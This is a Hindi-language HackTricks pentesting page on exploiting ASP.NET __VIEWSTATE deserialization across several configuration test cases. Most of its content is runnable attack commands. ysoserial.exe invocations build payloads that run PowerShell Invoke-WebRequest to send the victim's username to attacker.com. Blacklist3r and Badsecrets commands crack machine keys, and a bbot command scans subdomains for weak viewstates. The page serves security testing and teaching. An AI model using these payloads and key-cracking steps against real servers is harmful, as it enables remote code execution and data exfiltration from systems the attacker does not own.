hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

25 KiB
Raw Blame History

__VIEWSTATE का लाभ उठाना बिना रहस्यों को जाने

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैक्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).

{% embed url="https://www.stmcyber.com/careers" %}

ViewState क्या है

ViewState वह विधि है जिसका उपयोग ASP.NET फ्रेमवर्क डिफ़ॉल्ट रूप से वेब पेजों के बीच पेज और कंट्रोल मानों को संरक्षित करने के लिए करता है। जब पेज के लिए HTML रेंडर किया जाता है, तो पेज की वर्तमान स्थिति और पोस्टबैक के दौरान बनाए रखने की आवश्यकता वाले मानों को सीरियलाइज़ किया जाता है और बेस64-एन्कोडेड स्ट्रिंग्स में परिवर्तित करके ViewState हिडन फील्ड या फील्ड्स में आउटपुट किया जाता है।
ViewState जानकारी के लिए निम्नलिखित गुण या गुणों का संयोजन लागू होता है:

  • Base64
  • EnableViewStateMac और ViewStateEncryptionMode विशेषता को false पर सेट करके परिभाषित किया जा सकता है
  • Base64 + MAC (Message Authentication Code) सक्षम
  • EnableViewStateMac विशेषता को true पर सेट करके परिभाषित किया जा सकता है
  • Base64 + एन्क्रिप्टेड
  • viewStateEncryptionMode विशेषता को true पर सेट करके परिभाषित किया जा सकता है

परीक्षण मामले

परीक्षण मामला: 1 EnableViewStateMac=false और viewStateEncryptionMode=false

AspNetEnforceViewStateMac रजिस्ट्री कुंजी को शून्य में सेट करके ViewStateMAC को पूरी तरह से अक्षम करना भी संभव है:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState विशेषताओं की पहचान करना

आप BurpSuite का उपयोग करके इस पैरामीटर के साथ एक अनुरोध को कैप्चर करके यह पहचानने का प्रयास कर सकते हैं कि ViewState MAC से सुरक्षित है या नहीं:

यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया जाता है, तो आप इसे YSoSerial.Net का उपयोग करके शोषण कर सकते हैं।

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

टेस्ट केस 1.5 टेस्ट केस 1 की तरह लेकिन ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है

डेवलपर्स HTTP अनुरोध का हिस्सा बनने से ViewState को हटा सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी).
कोई मान सकता है कि अगर ViewState मौजूद नहीं है, तो उनका कार्यान्वयन ViewState डिसेरियलाइजेशन के साथ उत्पन्न होने वाली किसी भी संभावित कमजोरियों से सुरक्षित है.
हालांकि, ऐसा नहीं है। अगर हम अनुरोध बॉडी में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरियलाइज्ड पेलोड को भेजते हैं, तो हम कोड निष्पादन को प्राप्त करने में सक्षम होंगे जैसा कि केस 1 में दिखाया गया है।

टेस्ट केस: 2 .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false

किसी विशिष्ट पृष्ठ के लिए ViewState MAC को सक्षम करने के लिए हमें विशिष्ट aspx फाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

हम इसे web.config फ़ाइल में नीचे दिखाए गए अनुसार सेट करके समग्र एप्लिकेशन के लिए भी कर सकते हैं:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

चूंकि पैरामीटर MAC संरक्षित है, इसलिए हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग की गई कुंजी की आवश्यकता होती है। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC संरक्षित है:

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग की गई कुंजी खोजने का प्रयास कर सकते हैं।

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)

[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक और उपकरण है जो ज्ञात machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r के विपरीत, इसमें Windows निर्भरता नहीं है। .NET viewstates के लिए, "python blacklist3r" उपयोगिता है, जो इसे उपयोग करने का सबसे तेज़ तरीका है।

इसे या तो viewstate और generator सीधे प्रदान किया जा सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
![](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)

या, यह सीधे लक्ष्य URL से जुड़ सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

बड़े पैमाने पर कमजोर viewstates की खोज के लिए, सबडोमेन एन्यूमरेशन के साथ मिलकर, badsecrets BBOT मॉड्यूल का उपयोग किया जा सकता है:

bbot -f subdomain-enum -m badsecrets -t evil.corp
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)

यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** का उपयोग करके हमले के साथ आगे बढ़ सकते हैं।
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

जिन मामलों में _VIEWSTATEGENERATOR पैरामीटर सर्वर द्वारा भेजा नहीं जाता है, आपको --generator पैरामीटर प्रदान करने की आवश्यकता नहीं होती लेकिन इन्हें:

--apppath="/" --path="/hello.aspx"

परीक्षण मामला: 3 .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true

इस मामले में Burp यह पता नहीं लगा पाता कि पैरामीटर MAC से सुरक्षित है या नहीं क्योंकि वह मानों को पहचान नहीं पाता। तब, मान संभवतः एन्क्रिप्टेड होता है और आपको अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की की आवश्यकता होगी ताकि आप संवेदनशीलता का शोषण कर सकें।

इस मामले में Blacklist3r मॉड्यूल विकासाधीन है...

.NET 4.5 से पहले, ASP.NET स्वीकार कर सकता है एक अनएन्क्रिप्टेड ___VIEWSTATE_पैरामीटर उपयोगकर्ताओं से यहां तक कि अगर ViewStateEncryptionMode को हमेशा के लिए सेट किया गया हो। ASP.NET केवल जांचता है __VIEWSTATEENCRYPTED पैरामीटर की उपस्थिति को अनुरोध में। अगर कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो यह अभी भी प्रोसेस किया जाएगा।

इसलिए, अगर मशीनकी ज्ञात हो (उदाहरण के लिए, एक डायरेक्टरी ट्रैवर्सल समस्या के माध्यम से), YSoSerial.Net कमांड जो मामला 2 में इस्तेमाल किया गया था, ViewState डिसेरियलाइजेशन संवेदनशीलता का उपयोग करके RCE को प्रदर्शन करने के लिए इस्तेमाल किया जा सकता है।

  • ViewState डिसेरियलाइजेशन संवेदनशीलता का शोषण करने के लिए अनुरोध से __VIEWSTATEENCRYPTED पैरामीटर को हटा दें, अन्यथा यह Viewstate MAC सत्यापन त्रुटि वापस करेगा और शोषण विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:

परीक्षण मामला: 4 .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को छोड़कर झूठा

हम ASP.NET फ्रेमवर्क के उपयोग को नीचे दिए गए पैरामीटर को web.config फाइल में निर्दिष्ट करके मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।

<httpRuntime targetFramework="4.5" />

इसे नीचे दिए गए विकल्प को machineKey पैरामीटर के अंदर web.config फाइल में निर्दिष्ट करके भी किया जा सकता है।

compatibilityMode="Framework45"

पिछले मामले की तरह Burp यह पहचान नहीं पाता है कि अनुरोध MAC संरक्षित है या नहीं क्योंकि मान एन्क्रिप्टेड है। फिर, एक मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके कुंजी खोजने की कोशिश कर सकते हैं:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath और TargetPagePath के लिए अधिक विस्तृत विवरण के लिए यहाँ देखें

या, Badsecrets के साथ (एक जनरेटर मान के साथ):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)

एक वैध Machine key की पहचान हो जाने के बाद, **अगला कदम है एक serialized payload तैयार करना** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके
ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

यदि आपके पास __VIEWSTATEGENERATOR का मान है, तो आप उस मान के साथ --generator पैरामीटर का प्रयोग कर सकते हैं और --path और --apppath पैरामीटर्स को छोड़ सकते हैं।

यदि ViewState deserialization संवेदनशीलता का सफलतापूर्वक शोषण किया जाता है, तो एक हमलावर-नियंत्रित सर्वर को उपयोगकर्ता नाम सहित एक बाहरी बैंड अनुरोध प्राप्त होगा। सफल शोषण का PoC

परीक्षण मामला 6 ViewStateUserKeys का उपयोग किया जा रहा है

ViewStateUserKey प्रॉपर्टी का उपयोग CSRF हमले के खिलाफ बचाव के लिए किया जा सकता है। यदि ऐसी कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा की गई विधियों के साथ ViewState पेलोड उत्पन्न करने का प्रयास करते हैं, तो पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा
आपको पेलोड को सही ढंग से बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:

--viewstateuserkey="randomstringdefinedintheserver"

सफल शोषण का परिणाम

सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड सफलतापूर्वक काम करता है तो सर्वर “500 Internal server error” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “The state information is invalid for this page and might be corrupted” होती है और हमें नीचे दिखाए गए चित्रों के अनुसार OOB अनुरोध प्राप्त होता है:

वर्तमान उपयोगकर्ता नाम के साथ बाहरी बैंड अनुरोध

संदर्भ

यदि आप हैकिंग करियर में रुचि रखते हैं और अशक्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).

{% embed url="https://www.stmcyber.com/careers" %}

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके: